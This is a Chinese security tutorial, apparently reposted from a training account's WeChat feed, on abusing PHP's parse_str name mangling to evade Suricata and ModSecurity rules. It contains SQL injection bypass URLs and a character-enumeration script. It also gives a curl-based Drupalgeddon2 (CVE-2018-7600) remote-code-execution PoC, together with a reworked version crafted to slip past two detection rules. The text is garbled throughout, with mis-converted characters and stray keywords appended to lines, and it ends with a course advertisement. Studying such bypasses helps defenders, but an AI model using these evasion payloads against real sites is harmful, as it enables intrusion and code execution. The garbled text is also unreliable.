零基础黑客教程,黑客圈新闻,安全面试经验php
尽在 # 掌控安全EDU #html
一nginx
前言git
咱们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。github
值得注意的是,查询字符串在解析的过程当中会将某些字符删除或用下划线代替。面试
例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。ajax
若是一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么咱们就能够用如下语句绕过:正则表达式
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。数组
HP须要将全部参数转换为有效的变量名,所以在解析查询字符串时,它会作两件事:安全
1.删除空白符
2.将某些字符转换为下划线(包括空格)
例如:
User input | Decoded PHP | variable name |
---|---|---|
%20foo_bar%00 | foo_bar | foo_bar |
foo%20bar%00 | foo bar | foo_bar |
foo%5bbar | foo[bar | foo_bar |
经过如下这个示例,你能够更直观的看到parser_str函数如何处理字符串:
<?php
foreach(
[ "{chr}foo_bar", "foo{chr}bar", "foo_bar{chr}"
] as $k => $arg) { for($i=0;$i<=255;$i++) { echo "\033[999D\033[K\r"; echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o); /* yes... I've added a sleep time on each loop just for
the scenic effect like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩`-´)⊃━☆゚.*・。゚
*/
usleep(5000); if(isset($o["foo_bar"])) { echo"\033[999D\033[K\r"; echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
} echo"\033[999D\033[K\r"; echo"\n";
}
parse_str函数一般被自动应用于get、post请求和cookie中。
若是你的Web服务器接受带有特殊字符的参数名,那么也会发生相似的状况。
如上代码所示,我进行了屡次循环,枚举了参数名三个位置的0到255之间的全部字符,看看解析函数究竟是如何处理这些特殊字符的。
结果以下:
1.[1st]foo_bar
2.foo[2nd]bar
3.foo_bar[3rd]
在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。
二
Surica
也许你也听过这款软件,Suricata是一个“开源、成熟、快速、强大的网络威胁检测引擎”,它的引擎可以进行实时入侵检测(IDS)、入侵防护系统(IPS)、网络安全监控(NSM)和离线流量包处理。
在Suricata中你能够自定义一个HTTP流量的检测规则。假设你有这样一个规则:
alert http any any -> $HOME_NET any (\
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)
简单来讲,上述规则会检查news_id的值是不是数字。那么根据上述知识,咱们能够很容易的绕过防护,以下所示:
/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'
经过在Google和Github上进行搜索,我发现有不少关于Suricata规则能够经过替换下划线或插入空字符来绕过。
一个真实的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)
上述规则能够经过如下方式绕过:
/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00
固然,这条规则交换参数位置便可绕过,好比:
/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1
三
WAF(ModSecurity)
此外,PHP查询字符串的解析特性也可用以绕过WAF。
想象一下,它的规则相似于SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",这显然能够经过相同的手段绕过。
幸运的是,在ModSecurity中,能够经过正则表达式指定查询字符串中的参数。
好比:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"
以上规则将拦截诸如如下的请求:
⛔️/?news[id=1%22+AND+1=1--'
⛔️/?news%5bid=1%22+AND+1=1--'
⛔️/?news_id%00=1%22+AND+1=1--'
四
Poc //GTFO
让咱们用Suricata和Drupal CMS建立一个以利用CVE-2018-7600(Drupalgeddon2远程执行代码)的简单PoC。
为了简单起见,我将在两个Docker容器上运行Suricata和Drupal,并尝试绕过Suricata攻击Drupal。
我将使用两条Suricata防护规则:
1.一条自定义规则拦截form_id=user_register_form
2.另外一条是关于CVE-2018-7600的通用规则
Suricata官方安装流程点击[这里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA)。
对于Drupal,我运行了一个Vulhub容器,你能够在这里下载:
首先,让咱们尝试利用CVE-2018-7600。一个利用curl命令的小型bash脚本,好比:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
如你所见,上面的脚本将执行命令id:
如今,让咱们尝试往Suricata导入如下两条规则:我编写了第一个规则,它只是尝试form_id=user_register_form在请求体内进行匹配;
Positive Technology /user/register在请求URL和#post_render请求正文中写了第二个匹配项。
个人规则:
alert http any any -> $HOME_NET any (\
msg: "Possible Drupalgeddon2 attack";\
flow: established, to_server;\
content: "/user/register"; http_uri;\
content: "POST"; http_method;\
pcre: "/form_id=user_register_form/Pi";\
sid: 10002807;\
rev: 1;\
)
通用规则:
alert http any any -> $HOME_NET any (\
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
flow: established, to_server; \
content: "/user/register"; http_uri; \
content: "POST"; http_method; \
content: "drupal"; http_client_body; \
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
reference: cve, 2018-7600; \
reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
classtype: attempted-admin; \
reference: url, github.com/ptresearch/AttackDetection; \
metadata: Open Ptsecurity.com ruleset; \
sid: 10002808; \
rev: 2; \
)
在重启Suricata后,个人攻击被成功报警:
能够看到,咱们获得了两条日志:
1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
五
Bypass!
这两条规则其实都很容易绕过。首先,对于敏感字段form_id=user_register_form,咱们可将其替换为以下内容:
form%5bid=user_register_form
如上图所见,如今只有通用规则的警报。
分析通用规则的正则表达式,咱们能够看到它对#和%23敏感,但不涉及下划线的编码。
所以,咱们可使用post%5frender代替post_render来绕过:
最后得出可绕过两个规则的PoC:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
黑客教程~ 课件 靶场 ~ 限!时!免费!送!
长按识别二维码,便可限时免费报名课程。
点击在看~好文你们给一块儿看!👇
本文分享自微信公众号 - 掌控安全EDU(ZKAQEDU)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。